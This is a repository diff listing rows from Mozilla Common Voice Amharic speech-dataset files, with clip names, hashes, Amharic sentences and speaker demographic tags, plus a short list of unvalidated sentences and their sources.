56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890184.mp3 781e046eb32cc614c066a386cc2f0565c32a01cdc18535a21cfb63b2c5abf4c9 እሱም መልካም እንግዲህ አጥሊ አሁን ወደቤቴ ውሰደኝ ሲለው ወዲያው ልጁ ወደቤቱ ገባ፡፡ 2 0 twenties male_masculine am
|
| 237 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890185.mp3 2706b578df69074985e96afb9135f104e3afa04104afad85075ae8bef509a602 ጣሊያንን በተደጋጋሚ የመሩት ሽማግሌው በርልስኮኒ በዓለም እንደርሳቸው በተደጋጋሚ የተከሰሰ መሪ የለም ይባልላቸዋል። 2 0 twenties male_masculine am
|
| 238 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890186.mp3 5f274066565195e5b18140bd817077cd74c958b1e89ad96812f6b7b8c9ce4ea3 እንኳን ሰውና ሰው ወንድምና እኅት ይቅርና በፈጣሪና ፍጡር በአምላክና ሰው በመንፈስ አባትና ልጅ መካከልም ተከሥቷል። 2 0 twenties male_masculine am
|
| 239 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952731.mp3 848a9f4fdc601493c7655b5fb9d532b8889b37a88baef27f2f4645dfaadddf16 አብዛኛው ድሃ መሄጃ የለውም። 2 0 twenties male_masculine am
|
| 240 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952732.mp3 54e349bb6748cadf60b285b0517924e65126df7aec7c182390b71d9b45379c04 መንገዱ ግን አልጋ በአልጋ አልነበረም። 2 0 twenties male_masculine am
|
| 241 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952733.mp3 9227933cd8509ddb567e65947dc0b547f648637641d4861cb6d4f17ae987ca7e ደግለራሱ የቀረውን አንድ ዓይኑን አውጥቶ ምግብ ቢያገኝም አሁን ዓይነ ስውር ሆነ፡፡ 2 0 twenties male_masculine am
|
| 242 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952734.mp3 ad11bd75f04cd61ce2f1b5596352f10a9777f18358975035102851edcd097e35 ዕድሜያቸው ሲገፋ ሲጋራ እንዲያቆሙ ቤተሰቦቻቸው ቢወተውቱም በጄ አላሉም። 2 0 twenties male_masculine am
|
| 243 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952735.mp3 a454b4a3a770889965d154d5f463382e345f01146cf886ea0c66a7543ab2aaa8 የኬንያዋ ሴናተር ልብሳቸው የወር አበባ በመንካቱ ከፓርላማ እንዲወጡ ተደረጉ። 2 0 twenties male_masculine am
|
| 244 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952746.mp3 a3ece4a5a1066350dbad1725ed1f3facaa2af9f4561e7aa40a99c6b8e48ff930 ለጠቅላይ ኢታማዦር ሹም ጀኔራል ሰዓረ መኮንን ያስገነባውን የመታሰቢያ ሐውልት እና በስማቸው የሰየመውን ፓርክ ዛሬ አስመርቋል፡፡ 2 0 twenties male_masculine am
|
| 245 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952747.mp3 ac2e4bb0e28f13a8d91c0eccaea9eca26e563a0e88e984b3c2f3547d1c8221c3 ፍቅር በመስቀል ላይ ተሰቅሎ ታየ። 2 0 twenties male_masculine am
|
| 246 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952748.mp3 64c75671eba2b1ca3a3bb69f74eefb78d3acd800cce4f3c24c5a627323f5e4ba የቀሪዎቹ ሁለቱ ደግሞ የፍርድ ሂደታቸው መቼ እንደሚታይ ግልጽ አይደለም። 2 0 twenties male_masculine am
|
| 247 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952749.mp3 5422b0dfb68c7934578b89ce1869ad2578292c5338988b9c4a1e8e952321f1a6 ኢየሱስ ክርስቶስ ለስድስት ሰዓታት ያህል እንደተሰቃየ መጽሐፍ ቅዱስ ይጠቅሳል። 2 0 twenties male_masculine am
|
| 248 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952750.mp3 46a2cba356123b9557d2036a96f772e72b94e1778eb8aafee3fb3d75d8e2b28f ገሚሱ በተለይም በእርስበርስ በጦርነቱ የተሣተፈው ቦታ ቀይሮ በጎረቤት ሀገራት ጫካዎች ውስጥ የጀመረውን ጦርነት ቀጠለ። 2 0 twenties male_masculine am
|
| 249 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952751.mp3 2ddd18a907f6a7919ff6fd0885b67e753885f629e34b59140d90be8f7624806c የተነደፈውም ሰው ራሱን ስቶ ወዲያው ሞተ፡፡ 2 0 twenties male_masculine am
|
| 250 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952752.mp3 74d65505d71645a7457ca2bc504cc40958b8681e0c388e4db88af1be366046ba እጆቻቸው በመስቀሉ አናት ላይ እንዲታሰር ይደረግና ከመዳፋቸው በታች በሚገኘው አንጓ ሚስማር እንዲቸነከር ይደረጋል። 2 0 twenties male_masculine am
|
| 251 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952753.mp3 4ca4757e7e4417177265776e17f23c462fa91006487a08eddd2cd315974acdab የምንኖረው አጭር ጊዜ ሲሆን መሞቻችንን በፍፁም አናውቅም፡፡ 2 0 twenties male_masculine am
|
| 252 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952754.mp3 04edacf7a517b06e8ab4b8f9906ddfbcf4370b6a93fd174d5c734e09b63a0edf በችሎቱም ላይ “ምስክር አለን አሉ፡፡ 2 0 twenties male_masculine am
|
| 253 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37952755.mp3 93fe332984f060e5dd3dd409115642fdab220f05ea2de9fe5ce191b6c97a2477 የዩክሬን መሪማሪዎች መሪው ብሔራዊና ኃይማኖታዊ ጥላቻን አነሳስተዋል ሲሉ ይወቅሳሉ። 2 0 twenties male_masculine am
|
transcript/am/train.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/am/unvalidated_sentences.tsv
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
sentence_id sentence sentence_domain source
|
| 2 |
+
61bb5634b0cb6c1ae0d657f6e2a429bbfcb6b0b61967027776e2730926ec6c11 በአብርሃ ጊዜ የነበረው መስተጋብር እና ሃይማኖታዊ ተለዋዋጭነት በእስልምና መስፋፋት ላይ ምን ያህል ተጽዕኖ አሳድሯል? history_law_government THE JEWS AND CHRISTIANS OF PRE-ISLAMIC YEMEN (ḤIMYAR) AND THE ELUSIVE MATRIX OF THE QUR’ĀN’S CHRISTOLOGY Carlos A. Segovia Saint Louis University – Madrid Campus, Spain [email protected]
|
| 3 |
+
89a91c8c9a4235d4b519719f8571f53dec25438c194547c7a1abfde0b9cb56d7 "አብርሃ ""መሲሕ"" የሚለውን ቃል ኢየሱስን ለማመልከት የመረጠው ለምንድን ነው?" history_law_government THE JEWS AND CHRISTIANS OF PRE-ISLAMIC YEMEN (ḤIMYAR) AND THE ELUSIVE MATRIX OF THE QUR’ĀN’S CHRISTOLOGY Carlos A. Segovia Saint Louis University – Madrid Campus, Spain [email protected]
|
| 4 |
+
a03f43facdf6c21eb2a10de68a2ea859399009a9e325c59b5eb255372d954452 የአብርሃ ጽሑፎችና ከአክሱም ከባይዛንታይምና ከፋርስ ጋር በነበረው ግንኙነት ላይ ተጽዕኖ ያሳደረው እንዴት ነው? THE JEWS AND CHRISTIANS OF PRE-ISLAMIC YEMEN (ḤIMYAR) AND THE ELUSIVE MATRIX OF THE QUR’ĀN’S CHRISTOLOGY Carlos A. Segovia Saint Louis University – Madrid Campus, Spain [email protected]
|
| 5 |
+
a149f024413d205a37ad0adb52417c945e8418c9e72dc63afa38f3b0e8cefa13 የሕዝብ ተወካዮች ምክር ቤት የወይዘሮ ሜላትወርቅ ኃይሉን የኢትዮጵያ ብሔራዊ ምርጫ ቦርድ ሰብሳቢነት ሹመትን አጸደቀ https://www.bbc.com/amharic/articles/c6p1zglv1rko
|
| 6 |
+
a592bdae95d643dc970232d9150c1dfaa2376f793bc96cee0b5a0768ff34f0de ብርሃን በመቅጽበት ከአንድ ቦታ ወደ ሌላ ቦታ አይጓዝም። Wikipedia
|
| 7 |
+
af93b835f7a8912ffb362a7af7b9afd03b321329e05f3f18498a56f1ff3877ba በአይሁድ እና በክርስቲያን ማኅበረሰቦች መካከል ግጭቶች ወይም ሙከራዎች ነበሩ? history_law_government THE JEWS AND CHRISTIANS OF PRE-ISLAMIC YEMEN (ḤIMYAR) AND THE ELUSIVE MATRIX OF THE QUR’ĀN’S CHRISTOLOGY Carlos A. Segovia Saint Louis University – Madrid Campus, Spain [email protected]
|
| 8 |
+
b98cb59898c237dfe805e0f2437dfde9caadd9f49742732b774f62fcbe526b0a ለምሳሌ የፀሐይ መሞቅ ከምትተፋው የታህታይ ቀይ ጨረራ ይመነጫል። Wikipedia
|
| 9 |
+
bcdbdd1c829ba9cc134a2aee7dac320224ae253801b1a1f7e48e3ef3e83ac395 አብርሀ ክርስትናን ተቀብሎ እንዲያስፋፋ ያደረገው ምክንያት ምንድን ነው? history_law_government THE JEWS AND CHRISTIANS OF PRE-ISLAMIC YEMEN (ḤIMYAR) AND THE ELUSIVE MATRIX OF THE QUR’ĀN’S CHRISTOLOGY Carlos A. Segovia Saint Louis University – Madrid Campus, Spain [email protected]
|
| 10 |
+
c4b62b60fc285dd92677bd9f2855fea1aaa72fd6704eed0b5522338b1892bed8 የአብርሃም ጽሑፎች በቋንቋና በባህል ተጽዕኖዎች ረገድ እየተሻሻሉ ሲሆን እነዚህ ለውጦች ምን አንድምታ አላቸው? history_law_government THE JEWS AND CHRISTIANS OF PRE-ISLAMIC YEMEN (ḤIMYAR) AND THE ELUSIVE MATRIX OF THE QUR’ĀN’S CHRISTOLOGY Carlos A. Segovia Saint Louis University – Madrid Campus, Spain [email protected]
|
| 11 |
+
cd7eeff031b1dc7a714f3fc05042aa36ab6ebb6c904d7b23ce79289f05e5b007 የአብርሃ የክርስትና ቀመር በጥንት እስልምና ሥነ-መለኮታዊ እድገት ላይ ዘላቂ ተጽዕኖ አሳድሯል? history_law_government THE JEWS AND CHRISTIANS OF PRE-ISLAMIC YEMEN (ḤIMYAR) AND THE ELUSIVE MATRIX OF THE QUR’ĀN’S CHRISTOLOGY Carlos A. Segovia Saint Louis University – Madrid Campus, Spain [email protected]
|
| 12 |
+
cee7977ec8402aa7a8be39317d3d07a33663d7fa4ccfc2251e9bac7064d8b60d አብርሃ ወደ ክርስትና መመለሱን የሚጠቁሙ ምን ማስረጃዎች አሉ? history_law_government THE JEWS AND CHRISTIANS OF PRE-ISLAMIC YEMEN (ḤIMYAR) AND THE ELUSIVE MATRIX OF THE QUR’ĀN’S CHRISTOLOGY Carlos A. Segovia Saint Louis University – Madrid Campus, Spain [email protected]
|
| 13 |
+
edd1f8be2d349901ba190b02d9575b484afa2ffa44f3136d5eca72e40f041dfb አብርሃም በእነዚህ ሁለት ሃይማኖታዊ ማኅበረሰቦች መካከል ያለውን ልዩነት ለማስታረቅ ወይም ለማስታረቅ ጥረት አድርጓል? history_law_government THE JEWS AND CHRISTIANS OF PRE-ISLAMIC YEMEN (ḤIMYAR) AND THE ELUSIVE MATRIX OF THE QUR’ĀN’S CHRISTOLOGY Carlos A. Segovia Saint Louis University – Madrid Campus, Spain [email protected]
|
transcript/am/validated.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/am/validated_sentences.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/ar/clip_durations.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/ar/dev.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/ar/invalidated.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/ar/reported.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/ar/test.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/ar/train.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|